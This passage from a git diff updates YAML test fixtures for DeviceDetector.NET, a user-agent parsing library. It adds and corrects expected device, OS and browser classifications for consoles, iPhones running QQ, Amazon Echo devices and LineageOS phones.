b/DeviceDetector.NET.Tests/fixtures/console.yml @@ -564,3 +564,33 @@ model: PlayStation 3 os_family: Unknown browser_family: Unknown +- + user_agent: Aplix_SEGASATURN_browser/2.0 (Japanese) + os: [ ] + client: + type: browser + name: Aplix + version: "2.0" + engine: "" + engine_version: "" + device: + type: console + brand: Sega + model: Saturn + os_family: Unknown + browser_family: Unknown +- + user_agent: Aplix_SANYO_browser/1.03 (Japanese) + os: [ ] + client: + type: browser + name: Aplix + version: "1.03" + engine: "" + engine_version: "" + device: + type: console + brand: Sanyo + model: 3DO TRY + os_family: Unknown + browser_family: Unknown diff --git a/DeviceDetector.NET.Tests/fixtures/desktop.yml b/DeviceDetector.NET.Tests/fixtures/desktop.yml index 78f7156..ca1c069 100644 --- a/DeviceDetector.NET.Tests/fixtures/desktop.yml +++ b/DeviceDetector.NET.Tests/fixtures/desktop.yml @@ -308,7 +308,7 @@ os: name: Debian version: "6.0.1" - platform: "" + platform: SPARC64 client: type: browser name: IceCat @@ -1119,7 +1119,7 @@ user_agent: Mozilla/5.0 (OS/2; Warp 4.5; rv:10.0.12) Gecko/20100101 Firefox/10.0.12 os: name: OS/2 - version: "" + version: "4.5" platform: "" client: type: browser @@ -1302,13 +1302,18 @@ name: Solaris version: "10.1" platform: x64 - client: null + client: + type: browser + name: Firefox + version: "" + engine: Gecko + engine_version: 1.9.1.8 device: type: desktop brand: "" model: "" os_family: Unix - browser_family: Unknown + browser_family: Firefox - user_agent: Mozilla/3.01Gold (X11; I; SunOS 5.5.1 sun4m) os: @@ -2767,8 +2772,8 @@ platform: "" client: type: browser - name: Internet Explorer - version: "3.02" + name: AOL Explorer + version: "3.0" engine: Trident engine_version: "" device: @@ -2803,8 +2808,8 @@ platform: "" client: type: browser - name: Internet Explorer - version: "6.0" + name: AOL Explorer + version: "9.0" engine: Trident engine_version: "" device: @@ -3001,8 +3006,8 @@ platform: "" client: type: browser - name: Internet Explorer - version: "7.0" + name: AOL Explorer + version: "9.0" engine: Trident engine_version: "" device: @@ -3119,15 +3124,20 @@ user_agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.452) Gecko/20041027 Mnenhy/0.6.0.104 os: name: Windows - version: "XP" + version: XP platform: "" - client: null + client: + type: browser + name: Firefox + version: "" + engine: Gecko + engine_version: "1.452" device: type: desktop brand: "" model: "" os_family: Windows - browser_family: Unknown + browser_family: Firefox - user_agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Avant Browser; InfoPath.1) os: diff --git a/DeviceDetector.NET.Tests/fixtures/mobile_apps.yml b/DeviceDetector.NET.Tests/fixtures/mobile_apps.yml index c6b8991..abc77a8 100644 --- a/DeviceDetector.NET.Tests/fixtures/mobile_apps.yml +++ b/DeviceDetector.NET.Tests/fixtures/mobile_apps.yml @@ -1640,7 +1640,7 @@ platform: "" client: type: mobile app - name: Petal Search App + name: Petal Search version: 11.0.1.324 device: type: smartphone diff --git a/DeviceDetector.NET.Tests/fixtures/phablet-1.yml b/DeviceDetector.NET.Tests/fixtures/phablet-1.yml index d09d4a4..5184a55 100644 --- a/DeviceDetector.NET.Tests/fixtures/phablet-1.yml +++ b/DeviceDetector.NET.Tests/fixtures/phablet-1.yml @@ -3687,3 +3687,309 @@ model: iPhone SE (2022) os_family: iOS browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/17F80 QQ/8.3.6.618 V1_IPH_SQ_8.3.6_1_APP_A Pixel/1080 MiniAppEnable SimpleUISwitch/0 QQTheme/1000 Core/WKWebView Device/Apple(iPhone 6Plus) NetType/4G QBWebViewType/1 WKType/1 + os: + name: iOS + version: 13.5.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 6 Plus + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/17D50 QQ/8.2.7.610 V1_IPH_SQ_8.2.7_1_APP_A Pixel/1080 MiniAppEnable Core/WKWebView Device/Apple(iPhone 7Plus) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 13.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 7 Plus + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/17D50 QQ/8.3.5.612 V1_IPH_SQ_8.3.5_1_APP_A Pixel/1080 SimpleUISwitch/0 QQTheme/1000 Core/WKWebView Device/Apple(iPhone 8Plus) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 13.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 8 Plus + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.17.638 V1_IPH_SQ_9.0.17_1_APP_A Pixel/1179 MiniAppEnable SimpleUISwitch/1 StudyMode/0 CurrentMode/1 CurrentFontScale/1.000000 QQTheme/2971 AppId/537203242 Core/WKWebView Device/Apple(iPhone X) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 17.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone X + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/8.3.9.643 V1_IPH_SQ_8.3.9_1_APP_A Pixel/1242 MiniAppEnable SimpleUISwitch/0 QQTheme/1000 Core/WKWebView Device/Apple(iPhone XS Max) NetType/4G QBWebViewType/1 WKType/1 + os: + name: iOS + version: 13.6.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone XS Max + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/17D50 QQ/8.3.6.618 V1_IPH_SQ_8.3.6_1_APP_A Pixel/1125 SimpleUISwitch/0 QQTheme/1000 Core/WKWebView Device/Apple(iPhone 11 Pro) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 13.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 11 Pro + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.17.638 V1_IPH_SQ_9.0.17_1_APP_A Pixel/1242 SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.000000 QQTheme/1102 AppId/537203242 Core/WKWebView Device/Apple(iPhone 11 Pro Max) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: "14.6" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 11 Pro Max + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.17.638 V1_IPH_SQ_9.0.17_1_APP_A Pixel/1170 SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.352941 QQTheme/1000 AppId/537203242 Core/WKWebView Device/Apple(iPhone 12) NetType/4G QBWebViewType/1 WKType/1 + os: + name: iOS + version: 17.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 12 + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.17.638 V1_IPH_SQ_9.0.17_1_APP_A Pixel/1170 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/0.941000 QQTheme/1000 AppId/537203242 Core/WKWebView Device/Apple(iPhone 12 Pro) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 14.7.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 12 Pro + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/8.9.91.614 V1_IPH_SQ_8.9.91_1_APP_A Pixel/1284 SimpleUISwitch/1 StudyMode/0 CurrentMode/1 CurrentFontScale/1.352941 QQTheme/2971 AppId/537185724 Core/WKWebView Device/Apple(iPhone 12 Pro Max) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 16.1.2 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 12 Pro Max + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/8.9.78.610 V1_IPH_SQ_8.9.78_1_APP_A Pixel/1170 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.117647 QQTheme/1000 AppId/537174227 Core/WKWebView Device/Apple(iPhone 13) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: "16.2" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 13 + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_1_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/smzdm 10.6.20 rv:143.4 (iPhone 13 Pro; iOS 17.1.1; zh_CN)/iphone_smzdmapp/10.6.20/wkwebview/jsbv_1.0.0 + os: + name: iOS + version: 17.1.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 13 Pro + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.17.638 V1_IPH_SQ_9.0.17_1_APP_A Pixel/1284 SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.000000 QQTheme/1102 AppId/537203242 Core/WKWebView Device/Apple(iPhone 14 Plus) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 16.0.3 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 14 Plus + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.16.626 V1_IPH_SQ_9.0.16_1_APP_A Pixel/1179 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.000000 QQTheme/2099 AppId/537201270 Core/WKWebView Device/Apple(iPhone 14 Pro) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 16.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 14 Pro + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.17.638 V1_IPH_SQ_9.0.17_1_APP_A Pixel/1290 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.000000 QQTheme/1102 AppId/537203242 Core/WKWebView Device/Apple(iPhone 14 Pro Max) NetType/4G QBWebViewType/1 WKType/1 + os: + name: iOS + version: 16.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 14 Pro Max + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.8.616 V1_IPH_SQ_9.0.8_1_APP_A Pixel/1284 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.000000 QQTheme/1000 AppId/537199228 Core/WKWebView Device/Apple(iPhone 13 Pro Max) NetType/5G QBWebViewType/1 WKType/1 + os: + name: iOS + version: "16.1" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone 13 Pro Max + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/8.4.10.666 V1_IPH_SQ_8.4.10_1_APP_A Pixel/750 MiniAppEnable SimpleUISwitch/0 QQTheme/1000 Core/WKWebView Device/Apple(iPhone SE 2) NetType/4G QBWebViewType/1 WKType/1 + os: + name: iOS + version: "13.7" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: phablet + brand: Apple + model: iPhone SE (2020) + os_family: iOS + browser_family: Safari diff --git a/DeviceDetector.NET.Tests/fixtures/podcasting.yml b/DeviceDetector.NET.Tests/fixtures/podcasting.yml index 7c87227..5b98c04 100644 --- a/DeviceDetector.NET.Tests/fixtures/podcasting.yml +++ b/DeviceDetector.NET.Tests/fixtures/podcasting.yml @@ -7241,19 +7241,19 @@ os_family: Android browser_family: Unknown - - user_agent: 'Mozilla/5.0 (Mobile; Safaricom_Kimem_Kerefa_4G; rv:48.0; CAEN) Gecko/48.0 Firefox/48.0 KAIOS/2.5.3.2 PodKast' + user_agent: Mozilla/5.0 (Mobile; Safaricom_Kimem_Kerefa_4G; rv:48.0; CAEN) Gecko/48.0 Firefox/48.0 KAIOS/2.5.3.2 PodKast os: name: KaiOS - version: "2.5.3.2" + version: 2.5.3.2 platform: "" client: type: mobile app name: PodKast version: "" device: - type: "" - brand: "" - model: '' + type: smartphone + brand: Safaricom + model: Kimem Kerefa 4G os_family: Firefox OS browser_family: Unknown - @@ -8815,19 +8815,6 @@ model: '' os_family: iOS browser_family: Unknown -- - user_agent: 'Zeno' - os: [ ] - client: - type: mobile app - name: Radio Zeno - version: "" - device: - type: "" - brand: "" - model: '' - os_family: Unknown - browser_family: Unknown - user_agent: 'Zune/4.8' os: [ ] diff --git a/DeviceDetector.NET.Tests/fixtures/portable_media_player.yml b/DeviceDetector.NET.Tests/fixtures/portable_media_player.yml index 7d0c054..3d1b92d 100644 --- a/DeviceDetector.NET.Tests/fixtures/portable_media_player.yml +++ b/DeviceDetector.NET.Tests/fixtures/portable_media_player.yml @@ -549,7 +549,7 @@ platform: "" client: type: mobile app - name: BingWebApp + name: Microsoft Bing version: 3.02.1641.20120106 device: type: portable media player diff --git a/DeviceDetector.NET.Tests/fixtures/smart_speaker.yml b/DeviceDetector.NET.Tests/fixtures/smart_speaker.yml index bc77bc8..56fcd9c 100644 --- a/DeviceDetector.NET.Tests/fixtures/smart_speaker.yml +++ b/DeviceDetector.NET.Tests/fixtures/smart_speaker.yml @@ -18,8 +18,8 @@ - user_agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; AEOBC Build/LVY48F) os: - name: Android - version: "5.1.1" + name: Fire OS + version: "5" platform: "" client: type: browser @@ -36,8 +36,8 @@ - user_agent: Mozilla/5.0 (Linux; Android 5.1.1; AEOKN Build/LVY48F; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/59.0.3071.125 Safari/537.36 os: - name: Android - version: "5.1.1" + name: Fire OS + version: "5" platform: "" client: type: browser @@ -67,8 +67,8 @@ - user_agent: Mozilla/5.0 (Linux; Android 7.1.2; AEOCH Build/NS6548; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/92.0.4515.115 Mobile Safari/537.36 os: - name: Android - version: 7.1.2 + name: Fire OS + version: "6" platform: "" client: type: browser @@ -85,8 +85,8 @@ - user_agent: Mozilla/5.0 (Linux; Android 7.1.2; AEOCW Build/NS6543; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Safari/537.36 os: - name: Android - version: 7.1.2 + name: Fire OS + version: "6" platform: "" client: type: browser @@ -116,8 +116,8 @@ - user_agent: Mozilla/5.0 (Linux; Android 9; AEOHY) AppleWebKit/537.36 (KHTML, like Gecko) Silk/94.3.10 like Chrome/94.0.4606.126 Safari/537.36 os: - name: Android - version: "9" + name: Fire OS + version: "7" platform: "" client: type: browser @@ -131,3 +131,75 @@ model: Echo Show 15 (2021) os_family: Android browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 7.1.2; AEOCN) AppleWebKit/537.36 (KHTML, like Gecko) Silk/110.6.7 like Chrome/110.0.5481.212 Safari/537.36 + os: + name: Fire OS + version: "6" + platform: "" + client: + type: browser + name: Mobile Silk + version: 110.6.7 + engine: Blink + engine_version: 110.0.5481.212 + device: + type: smart speaker + brand: Amazon + model: Echo + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 9; AEOAT) AppleWebKit/537.36 (KHTML, like Gecko) Silk/112.6.3 like Chrome/112.0.5615.213 Safari/537.36 + os: + name: Fire OS + version: "7" + platform: "" + client: + type: browser + name: Mobile Silk + version: 112.6.3 + engine: Blink + engine_version: 112.0.5615.213 + device: + type: smart speaker + brand: Amazon + model: Echo + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 9; AEOTA) AppleWebKit/537.36 (KHTML, like Gecko) Silk/106.4.3 like Chrome/106.0.5249.190 Safari/537.36 + os: + name: Fire OS + version: "7" + platform: "" + client: + type: browser + name: Mobile Silk + version: 106.4.3 + engine: Blink + engine_version: 106.0.5249.190 + device: + type: smart speaker + brand: Amazon + model: Echo + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 5.1.1; AEOBP) AppleWebKit/537.36 (KHTML, like Gecko) Silk/100.1.158 like Chrome/100.0.4896.127 Safari/537.36 + os: + name: Fire OS + version: "5" + platform: "" + client: + type: browser + name: Mobile Silk + version: 100.1.158 + engine: Blink + engine_version: 100.0.4896.127 + device: + type: smart speaker + brand: Amazon + model: Echo Show (Gen 2) + os_family: Android + browser_family: Chrome diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-1.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-1.yml index 86e88bb..d23edfb 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-1.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-1.yml @@ -331,7 +331,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "71.0.3578.99" engine: Blink engine_version: "71.0.3578.99" @@ -455,7 +455,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "71.0.3578.99" engine: Blink engine_version: "71.0.3578.99" diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-10.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-10.yml index 542c383..34c9e6c 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-10.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-10.yml @@ -1153,20 +1153,18 @@ user_agent: Mozilla/5.0 (Linux; Android 7.1.1; Neffos N1 Build/N4F26M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36 ZenKit/1.39.8.2-internalNewdesign-Zen os: name: Android - version: "7.1.1" + version: 7.1.1 platform: "" client: - type: browser - name: Chrome Webview - version: "74.0.3729.157" - engine: Blink - engine_version: "74.0.3729.157" + type: mobile app + name: Zen + version: 1.39.8.2 device: type: smartphone brand: Neffos model: N1 os_family: Android - browser_family: Chrome + browser_family: Unknown - user_agent: Mozilla/5.0 (Linux; Android 7.0; Neffos X1 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36 os: diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-11.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-11.yml index 6b5a173..26800f4 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-11.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-11.yml @@ -6948,7 +6948,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "71.0.3578.99" engine: Blink engine_version: "71.0.3578.99" diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-15.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-15.yml index 8520c42..4eb3baf 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-15.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-15.yml @@ -7748,7 +7748,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "62.0.3202.84" engine: Blink engine_version: "62.0.3202.84" @@ -7802,7 +7802,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "62.0.3202.84" engine: Blink engine_version: "62.0.3202.84" @@ -7820,7 +7820,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "62.0.3202.84" engine: Blink engine_version: "62.0.3202.84" @@ -8162,7 +8162,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "62.0.3202.84" engine: Blink engine_version: "62.0.3202.84" @@ -8360,7 +8360,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "62.0.3202.84" engine: Blink engine_version: "62.0.3202.84" @@ -8432,7 +8432,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "62.0.3202.84" engine: Blink engine_version: "62.0.3202.84" @@ -8486,7 +8486,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "62.0.3202.84" engine: Blink engine_version: "62.0.3202.84" diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-16.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-16.yml index 92570ba..c20ee93 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-16.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-16.yml @@ -655,7 +655,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "62.0.3202.84" engine: Blink engine_version: "62.0.3202.84" @@ -727,7 +727,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: "62.0.3202.84" engine: Blink engine_version: "62.0.3202.84" diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-24.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-24.yml index dbdbdd7..e6dbd69 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-24.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-24.yml @@ -7525,7 +7525,7 @@ user_agent: Mozilla/5.0 (Linux; Android 11; lineage_j5y17lte Build/RQ2A.210305.006) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36 os: name: Lineage OS - version: "" + version: "18" platform: "" client: type: browser diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-26.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-26.yml index 375f580..2f1b4c7 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-26.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-26.yml @@ -7204,17 +7204,15 @@ os_family: Android browser_family: Internet Explorer - - user_agent: Mozilla/5.0 (Linux; arm_64; Android 11; SM-M625F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 BroPP/1.0 SA/3 YaSearchBrowser/21.81.1 YaApp_Android/21.81.1 ru.yandex.searchplugin/21.81.210801043 (samsung SM-M625F; Android 11) ZenKit/21.8.1. + user_agent: Mozilla/5.0 (Linux; arm_64; Android 11; SM-M625F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 BroPP/1.0 SA/3 YaSearchBrowser/21.81.1 YaApp_Android/21.81.1 ru.yandex.searchplugin/21.81.210801043 (samsung SM-M625F; Android 11) ZenKit/21.8.1 os: name: Android version: "11" platform: ARM client: - type: browser - name: Yandex Browser - version: 21.81.1 - engine: Blink - engine_version: "92.0.4515.159" + type: mobile app + name: Zen + version: 21.8.1 device: type: smartphone brand: Samsung diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-27.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-27.yml index 8f48df0..678b5a8 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-27.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-27.yml @@ -2075,7 +2075,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: 62.0.3202.84 engine: Blink engine_version: "62.0.3202.84" @@ -2093,7 +2093,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: 62.0.3202.84 engine: Blink engine_version: "62.0.3202.84" @@ -2885,7 +2885,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: 62.0.3202.84 engine: Blink engine_version: "62.0.3202.84" @@ -3155,7 +3155,7 @@ platform: "" client: type: browser - name: Chrome Mobile + name: Chrome Webview version: 62.0.3202.84 engine: Blink engine_version: "62.0.3202.84" diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-29.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-29.yml index 5446af3..03ffd6d 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-29.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-29.yml @@ -8819,7 +8819,7 @@ user_agent: Mozilla/5.0 (Linux; Android 11; lineage_ss2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Mobile Safari/537.36 OPR/62.3.3146.57763 os: name: Lineage OS - version: "" + version: "18" platform: "" client: type: browser @@ -8837,7 +8837,7 @@ user_agent: Mozilla/5.0 (Linux; Android 7.1.2; lineage_osprey) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Mobile Safari/537.36 os: name: Lineage OS - version: "" + version: "14.1" platform: "" client: type: browser @@ -8855,7 +8855,7 @@ user_agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; lineage_A6020 Build/NMF26V) os: name: Lineage OS - version: "" + version: "14.1" platform: "" client: type: browser @@ -8873,7 +8873,7 @@ user_agent: Mozilla/5.0 (Linux; Android 9; lineage_c106) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.82 Mobile Safari/537.36 os: name: Lineage OS - version: "" + version: "16" platform: "" client: type: browser @@ -8909,7 +8909,7 @@ user_agent: Mozilla/5.0 (Linux; Android 7.1.2; lineage_FS504 Build/NJH47F; ru-ru) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Mobile Safari/537.36 Puffin/7.8.2.40664AP os: name: Lineage OS - version: "" + version: "14.1" platform: "" client: type: browser @@ -8927,7 +8927,7 @@ user_agent: Mozilla/5.0 (Linux; Android 9; lineage_serranoltexx) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Mobile Safari/537.36 os: name: Lineage OS - version: "" + version: "16" platform: "" client: type: browser diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-34.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-34.yml index 3f326b8..16f5545 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-34.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-34.yml @@ -1027,8 +1027,8 @@ platform: "" client: type: browser - name: Chrome Mobile - version: 100.0.4896.127 + name: Rakuten Web Search + version: 5.100.07 engine: Blink engine_version: 100.0.4896.127 device: @@ -1036,7 +1036,7 @@ brand: Sony model: Xperia 5 IV os_family: Android - browser_family: Chrome + browser_family: Unknown - user_agent: Mozilla/5.0 (Linux; Android 11; RMX3623) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Mobile Safari/537.36 os: diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-37.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-37.yml index 0e9ee0e..00bcfae 100644 --- 